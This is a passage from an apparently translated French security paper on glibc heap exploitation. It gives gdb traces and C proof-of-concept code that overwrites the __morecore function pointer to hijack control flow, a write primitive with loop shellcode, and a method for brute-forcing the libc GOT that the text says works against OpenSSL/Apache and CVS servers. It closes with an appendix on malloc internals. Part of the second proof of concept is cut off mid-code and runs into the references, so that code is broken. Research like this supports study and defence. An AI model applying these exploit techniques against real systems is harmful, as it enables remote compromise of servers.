0x00000000 0x00010000 0x08049be8 0x4212dfa0 0x4212dfb0 : 0x4212dfa8 0x4212dfa8 0x4212dfb0 0x4212dfb0 Ici, par défaut, __morecore popinte vers __default_morecore : (gdb) x/20i __morecore 0x4207e034 <__default_morecore>: push %ebp 0x4207e035 <__default_morecore+1>: mov %esp,%ebp 0x4207e037 <__default_morecore+3>: push %ebx 0x4207e038 <__default_morecore+4>: sub $0x10,%esp 0x4207e03b <__default_morecore+7>: call 0x4207e030 0x4207e040 <__default_morecore+12>: add $0xb22cc,%ebx 0x4207e046 <__default_morecore+18>: mov 0x8(%ebp),%eax 0x4207e049 <__default_morecore+21>: push %eax 0x4207e04a <__default_morecore+22>: call 0x4201722c <_r_debug+33569648> 0x4207e04f <__default_morecore+27>: mov 0xfffffffc(%ebp),%ebx 0x4207e052 <__default_morecore+30>: mov %eax,%edx 0x4207e054 <__default_morecore+32>: add $0x10,%esp 0x4207e057 <__default_morecore+35>: xor %eax,%eax 0x4207e059 <__default_morecore+37>: cmp $0xffffffff,%edx 0x4207e05c <__default_morecore+40>: cmovne %edx,%eax 0x4207e05f <__default_morecore+43>: mov %ebp,%esp 0x4207e061 <__default_morecore+45>: pop %ebp 0x4207e062 <__default_morecore+46>: ret 0x4207e063 <__default_morecore+47>: lea 0x0(%esi),%esi 0x4207e069 <__default_morecore+53>: lea 0x0(%edi,1),%edi Pour conclure, nous réécrivons __morecore avec une fausse adresse, et forçons malloc à appeler __morecore : *(unsigned int*)morecore = 0x41414141; chunk=(unsigned int*)malloc(CHUNK_SIZE*4); [1422] MALLOC(2048) - CHUNK_ALLOC(0x40019bc0,2056) - extending top chunk - previous size 976 Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) bt #0 0x41414141 in ?? () #1 0x4207a148 in malloc () from /lib/i686/libc.so.6 #2 0x0804869d in main (argc=1, argv=0xbffffad4) at heapy.c:52 #3 0x42017589 in __libc_start_main () from /lib/i686/libc.so.6 (gdb) frame 1 #1 0x4207a148 in malloc () from /lib/i686/libc.so.6 (gdb) x/i $pc-0x5 0x4207a143 : call 0x4207a2f0 (gdb) disass chunk_alloc Dump of assembler code for function chunk_alloc: ... 0x4207a8ac : mov 0x64c(%ebx),%eax 0x4207a8b2 : sub $0xc,%esp 0x4207a8b5 : push %esi 0x4207a8b6 : call *(%eax) A ce point nous voyons chunk_alloc tentant de jumper vers __morecore (gdb) x/x $eax 0x4212df80 <__morecore>: 0x41414141 #include #include /* some malloc code... */ #define MAX_SMALLBIN 63 #define MAX_SMALLBIN_SIZE 512 #define SMALLBIN_WIDTH 8 #define is_small_request(nb) ((nb) < MAX_SMALLBIN_SIZE - SMALLBIN_WIDTH) #define smallbin_index(sz) (((unsigned long)(sz)) >> 3) #define bin_index(sz) \ (((((unsigned long)(sz)) >> 9) == 0) ? (((unsigned long)(sz)) >> 3):\ ((((unsigned long)(sz)) >> 9) <= 4) ? 56 + (((unsigned long)(sz)) >> 6):\ ((((unsigned long)(sz)) >> 9) <= 20) ? 91 + (((unsigned long)(sz)) >> 9):\ ((((unsigned long)(sz)) >> 9) <= 84) ? 110 + (((unsigned long)(sz)) >> 12):\ ((((unsigned long)(sz)) >> 9) <= 340) ? 119 + (((unsigned long)(sz)) >> 15):\ ((((unsigned long)(sz)) >> 9) <= 1364) ? 124 + (((unsigned long)(sz)) >> 18):\ 126) #define SIZE_MASK 0x3 #define CHUNK_SIZE 0x200 int main(int argc, char *argv[]){ unsigned int *chunk,*aux,sz,bk,fd,bin,arena,morecore; chunk = (unsigned int*)malloc(CHUNK_SIZE); aux = (unsigned int*)malloc(0x0); free(chunk); printf("(-) lonely chunk was freed, gathering information...\n"); sz = chunk[-1] & ~SIZE_MASK; fd = chunk[0]; bk = chunk[1]; if(bk==fd) printf("\t(!) sz = %u - bk = 0x%X - fd = 0x%X\n",sz,bk,fd); else printf("\t(X) bk != fd ...\n"),exit(-1); bin = is_small_request(sz)? smallbin_index(sz) : bin_index(sz); printf("\t(!) the chunk is in bin number %d\n",bin); arena = bk-bin*2*sizeof(void*); printf("\t(!) &main_arena[0] @ 0x%X\n",arena); morecore = arena-32; printf("\t(!) __morecore @ 0x%X\n",morecore); printf("(-) overwriting __morecore...\n"); *(unsigned int*)morecore = 0x41414141; printf("(-) forcing a call to MORECORE()...\n"); chunk=(unsigned int*)malloc(CHUNK_SIZE*4); return 7; } Cette technique fonctionne même lorsque le processus est chargé dans un espace d'adressage randomizé, car l'adresse du pointeur sur fonction est collectée en runtime depuis le processus ciblé. Le mécanisme est entièrement générique, car chaque processus lié à la glibc peut être exploité de cette manière. De plus, nous n'avons besoin d'aucun bruteforcing, car juste un essai est suffisant pour exploiter le processus. D'un autre côté, cette technique n'est plus utile dans les nouvelles libc, i.e. 2.2.93, à cause du changement qu'à rencontré le code de malloc. Une nouvelle approche est suggérée plus loin pour aider à l'exploitation de ces versions de libc. L'idée de morecore a été testée avec succès sur différentes versions de glibc et installations par défaut de ditributions GNU/Linux : Debian 2.2r0, Mandrake 8.1, Mandrake 8.2, Redhat 6.1, Redhat 6.2, Redhat 7.0, Redhat 7.2, Redhat 7.3 and Slackware 2.2.19 (libc-2.2.3.so). Un code d'exploit utilisant ce trick peut expoiter les serveurs OpenSSL/Apache sans aucune adresse codée en dur dans au moins les distributions par défaut mentionnées ci-dessus. --] 4.5.3 Force brute sur le GOT de la libc Au cas où le trick morecore ne fonctionne pas (nous pouvons essayer, car cela ne requiert qu'un seul essai), signifiant probablement que notre cible utilise une nouvelle libc, nous avons toujours obtenu l'adresse du bin de la glibc. Nous savons que que plus haut cette méthode va localiser le GOT de la glibc. Nous avons juste besoin de bruteforcer vers le haut et jusqu'à ce que nous touchions l'entrée d'une fonction libc sur le point d'être appelée. Ce mécanisme de force brute peut prendre du temps, mais pas autant qu'il n'en serait nécessaire pour bruteforcer le GOT de l'objet principal (au cas où nous aurions obtenu une adresse aproximative par quelque moyen). Pour accélérer le processus, le point de départ du brute forcing devrait être obtenu en ajustant l'adresse du bin récupérée avec une valeur fixée. Cette valeur devrait être suffisante pour éviter de corrompre l'arène pour empêcher de crasher le processus. De plus, le bruteforcing peut être effectué en utilisant une taille de pas plus grande que un. Utiliser un pas plus grand nécessitera moins d'essais, mais peut risquer de manquer le GOT. La taille du pas devrait être calculée en considérant la taille du GOT et le nombre d'accès aux entrées GOT entre chaque essai (si un nombre plus grand de GOT sont utilisés, la probabilité de modifier une entrée qui est sur le point d'être accédée est grande). Après chaque essai, il est important de forcer le serveur à effectuer autant d'actions que possible, de façon à le faire appeler beaucoups d'appels libc donc la probabilité d'utiliser les entrées GOT qui ont été réécrites est plus élévée. Notez que le mécanisme de force brute pourrait crasher le processus de différentes manières, car il corrompt les données de la libc. Comme nous avons obtenu l'adresse en runtime, nous pouvons être sûrs que nous sommes bien en train de brutefocer le bon endroit, même si la cible randomize l'espace d'adressage du processus / de la lib, et que nous finirons par toucher une entrée GOT. Dans un scénario d'adresse de chargement randomizé, nous aurons besoin de toucher une entrée GOT avant que le processus ne crashe pour exploiter l'adresse bin obtenue s'il n'y a aucune relation entre les adresses de chargement dans le processus crashé (celui dont nous avons obtenu l'adresse du bin) et le nouveau processus portant notre nouvelle requête (i.e. des processus forkés pourraient hériter de l'agencement de la mémoire du père dans certaines implémentations de randomization). Cependant, le mécanisme de force brute peut prendre en compte les offsets déjà essayés une fois qu'il a obtenu l'adresse du nouveau bin, car l'offset relatif ente le bin et le GOT est constant. De plus, cette technique s'applique à tout processus linké à la glibc. Notez que nous pourrions être capables d'exploiter un serveur en bruteforçant des pointeurs sur fonctions spécifiques (i.e. situés dans des structures comme les tampons de sortie réseau), mais cette approche est plus générique. L'idée du bruteforcing du GOT de la libc a été testé avec succès sur les installations par défaut de la RedHat 8.0, RedHat 7.2 et RedHat 7.1. Le code de l'exploit bruteforçant le GOT de la libc peut exploiter les serveurs CVS vulnérables sans aucune adresse codée endur dans au moins les ditributions par défaut mentionnées ci-dessus. --] 4.5.3.1 Preuve de concept 6 : force brute sur le GOT de la libc sous-entendue Le code suivant se brute force lui-même. Le processus tente de se trouver lui-même, pour finalement terminer dans une inutile boucle infinie. #include #include #define ADJUST 0x200 #define STEP 0x2 #define LOOP_SC "\xeb\xfe" #define LOOP_SZ 2 #define SC_SZ 512 #define OUTPUT_SZ 64 * 1024 #define SOMEOFFSET(x) 11 + (rand() % ((x)-1-11)) #define SOMECHUNKSZ 32 + (rand() % 512) #define PREV_INUSE 1 #define IS_MMAP 2 #define NON_MAIN_ARENA 4 unsigned long *aa4bmoPrimitive(unsigned long what, unsigned long where,unsigned long sz){ unsigned long *unlinkMe; int i=0; if(sz<13) sz = 13; unlinkMe=(unsigned long*)malloc(sz*sizeof(unsigned long)); unlinkMe[i++] = -4; unlinkMe[i++] = -4; unlinkMe[i++] = -4; unlinkMe[i++] = what; unlinkMe[i++] = where-8; unlinkMe[i++] = -4; unlinkMe[i++] = -4; unlinkMe[i++] = -4; unlinkMe[i++] = what; unlinkMe[i++] = where-8; for(;i Smashing The Stack For Fun And Profit Aleph One [12] http://phrack.org/show.php?p=55&a=8 The Frame Pointer Overwrite klog [13] http://www.phrack.org/show.php?p=59&a=9 Bypassing PaX ASLR protection p59_09@author.phrack.org [14] http://phrack.org/show.php?p=58&a=4 The advanced return-into-lib(c) exploits Nergal --------------------------------------------------------------------------- Annexe I - Résumé des structures internes de malloc Cette annexe contient un bref résumé à propos de détails du fonctionnement interne de malloc que nous avons besoin d'avoir à l'esprit pour comprendre complètement la plupart des technques expliquées dans ce papier. Les "chunks" [morceaux] de mémoire sont principalement maintenus (sans parler du top chunk et du last_remainder chunk) dans des listes circulaires doubles et liées, qui sont initialement vides et évoluent avec l'agencement du heap. La circularité de ces listes est très importante pour nous, comme nous le verrons plus tard. Un "bin" est une paire de pointeurs sur lesquels ces listes s'accrochent. Il existe 128 (#define NAV 128) bins, qui peuvent être des "petit" ou "gros" bins. Les petits bins contiennent des chunks de tailles égales, alors que les gros bins sont composés de chunk n'ayant pas la même taille, ordonnés par taille décroissante. Ceci sont les macros utilisées pour indexer les bins selon leur taille : #define MAX_SMALLBIN 63 #define MAX_SMALLBIN_SIZE 512 #define SMALLBIN_WIDTH 8 #define is_small_request(nb) ((nb) < MAX_SMALLBIN_SIZE - SMALLBIN_WIDTH) #define smallbin_index(sz) (((unsigned long)(sz)) >> 3) #define bin_index(sz) \ (((((unsigned long)(sz)) >> 9) == 0) ? (((unsigned long)(sz)) >> 3):\ ((((unsigned long)(sz)) >> 9) <= 4) ? 56 + (((unsigned long)(sz)) >> 6):\ ((((unsigned long)(sz)) >> 9) <= 20) ? 91 + (((unsigned long)(sz)) >> 9):\ ((((unsigned long)(sz)) >> 9) <= 84) ? 110 + (((unsigned long)(sz)) >> 12):\ ((((unsigned long)(sz)) >> 9) <= 340) ? 119 + (((unsigned long)(sz)) >> 15):\ ((((unsigned long)(sz)) >> 9) <= 1364) ? 124 + (((unsigned long)(sz)) >> 18):\ 126) De la documentation de la source nous savons que "une arène est une configuration de malloc_chunks mis ensembles avec un tableau de bins. Un "heap" ou plus est/sont associé(s) avec chaque arène, sauf pour le "main_arena", qui est associé seulement avec le "main_heap", i.e. le magasin libre conventionnel obtenu par les appels à MORECORE()...", qui est celui qui nous intéresse. Voici ce à quoi ressemble une arène... typedef struct _arena { mbinptr av[2*NAV + 2]; struct _arena *next; size_t size; #if THREAD_STATS long stat_lock_direct, stat_lock_loop, stat_lock_wait; #endif "av" est le tableau où sont gardés les bins. Celles-ci sont les macros utilisées tout au long du code source pour accéder aux bins, nous voyons que les deux premiers bins ne sont jamais indexés ; ils réfèrent au topmost chunk, au last_remainder chunk et à un bitvector utilisé pour améliorer le temps de recherche, bien que ceci ne soit pas réellement important pour nous. /* bitvector of nonempty blocks */ #define binblocks(a) (bin_at(a,0)->size) /* The topmost chunk */ #define top(a) (bin_at(a,0)->fd) /* remainder from last split */ #define last_remainder(a) (bin_at(a,1)) #define bin_at(a, i) BOUNDED_1(_bin_at(a, i)) #define _bin_at(a, i) ((mbinptr)((char*)&(((a)->av)[2*(i)+2]) - 2*SIZE_SZ)) Finalement, le main_arena... #define IAV(i) _bin_at(&main_arena, i), _bin_at(&main_arena, i) static arena main_arena = { { 0, 0, IAV(0), IAV(1), IAV(2), IAV(3), IAV(4), IAV(5), IAV(6), IAV(7), IAV(8), IAV(9), IAV(10), IAV(11), IAV(12), IAV(13), IAV(14), IAV(15), IAV(16), IAV(17), IAV(18), IAV(19), IAV(20), IAV(21), IAV(22), IAV(23), IAV(24), IAV(25), IAV(26), IAV(27), IAV(28), IAV(29), IAV(30), IAV(31), IAV(32), IAV(33), IAV(34), IAV(35), IAV(36), IAV(37), IAV(38), IAV(39), IAV(40), IAV(41), IAV(42), IAV(43), IAV(44), IAV(45), IAV(46), IAV(47), IAV(48), IAV(49), IAV(50), IAV(51), IAV(52), IAV(53), IAV(54), IAV(55), IAV(56), IAV(57), IAV(58), IAV(59), IAV(60), IAV(61), IAV(62), IAV(63), IAV(64), IAV(65), IAV(66), IAV(67), IAV(68), IAV(69), IAV(70), IAV(71), IAV(72), IAV(73), IAV(74), IAV(75), IAV(76), IAV(77), IAV(78), IAV(79), IAV(80), IAV(81), IAV(82), IAV(83), IAV(84), IAV(85), IAV(86), IAV(87), IAV(88), IAV(89), IAV(90), IAV(91), IAV(92), IAV(93), IAV(94), IAV(95), IAV(96), IAV(97), IAV(98), IAV(99), IAV(100), IAV(101), IAV(102), IAV(103), IAV(104), IAV(105), IAV(106), IAV(107), IAV(108), IAV(109), IAV(110), IAV(111), IAV(112), IAV(113), IAV(114), IAV(115), IAV(116), IAV(117), IAV(118), IAV(119), IAV(120), IAV(121), IAV(122), IAV(123), IAV(124), IAV(125), IAV(126), IAV(127) }, &main_arena, /* next */ 0, /* size */ #if THREAD_STATS 0, 0, 0, /* stat_lock_direct, stat_lock_loop, stat_lock_wait */ #endif MUTEX_INITIALIZER /* mutex */ }; Le main_arena est l'endroit où l'allocateur met en magasin les "bin" auxquels les chunks libres sont reliés selon leur taille. Le petit graphe ci-dessous résume toutes les structures détaillées auparavant : @ libc's DATA [bin_n] (premier chunk) ptr] ----> [<- chunk ->] [<- chunk ->] [<- fd [ chunk ptr] ----> [<- chunk ->] [<- chunk ->] [<- bk [bin_n+1] (dernier chunk) . . . [bin_X] ptr] ----> [<- fd [ chunk isolé mais intéressant ptr] ----> [<- bk . . |=[ EOF ]=---------------------------------------------------------------=| Traduit par [DegenereScience]DecereBrain, le 21 Novembre 2003, 03:07 Wah 41 pages traduites, c'est la fête :-) "Tous les hommes sont fous, et qui n'en veut point voir Doit rester dans sa chambre et casser son miroir" - Marquis de Sade